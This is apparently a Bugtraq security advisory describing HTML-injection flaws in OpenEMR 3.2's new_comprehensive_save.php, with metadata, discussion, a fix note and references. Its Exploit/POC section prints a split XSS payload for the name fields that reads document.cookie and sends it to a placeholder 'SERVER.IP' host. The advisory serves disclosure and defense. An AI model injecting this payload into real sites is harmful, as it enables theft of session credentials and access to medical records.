OpenEMR 'new_comprehensive_save.php' Multiple HTML Injection Vulnerabilities
BID:41112
Info
OpenEMR 'new_comprehensive_save.php' Multiple HTML Injection Vulnerabilities
| Bugtraq ID: | 41112 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 23 2010 12:00AM |
| Updated: | Jun 23 2010 12:00AM |
| Credit: | David Shaw |
| Vulnerable: |
OEMR.org OpenEMR 3.2 |
| Not Vulnerable: | |
Discussion
OpenEMR 'new_comprehensive_save.php' Multiple HTML Injection Vulnerabilities
OpenEMR is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
OpenEMR version 3.2 is vulnerable; other versions may also be affected.
OpenEMR is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
OpenEMR version 3.2 is vulnerable; other versions may also be affected.
Exploit / POC
OpenEMR 'new_comprehensive_save.php' Multiple HTML Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example input is available:
(First Name): */I.src='http://SERVER.IP/'+encodeURI(C);</script>
(Last Name): <script>var C=document.cookie;var I=new Image; /*
Attackers can use a browser to exploit these issues.
The following example input is available:
(First Name): */I.src='http://SERVER.IP/'+encodeURI(C);</script>
(Last Name): <script>var C=document.cookie;var I=new Image; /*
Solution / Fix
OpenEMR 'new_comprehensive_save.php' Multiple HTML Injection Vulnerabilities
Solution:
Fixes are available. Please see the references for more details.
Solution:
Fixes are available. Please see the references for more details.
References
OpenEMR 'new_comprehensive_save.php' Multiple HTML Injection Vulnerabilities
References:
References:
- OpenEMR Bug Report (OpenEMR)
- OpenEMR Homepage (OEMR.org)
- OpenEMR HTML Injection (OpenEMR)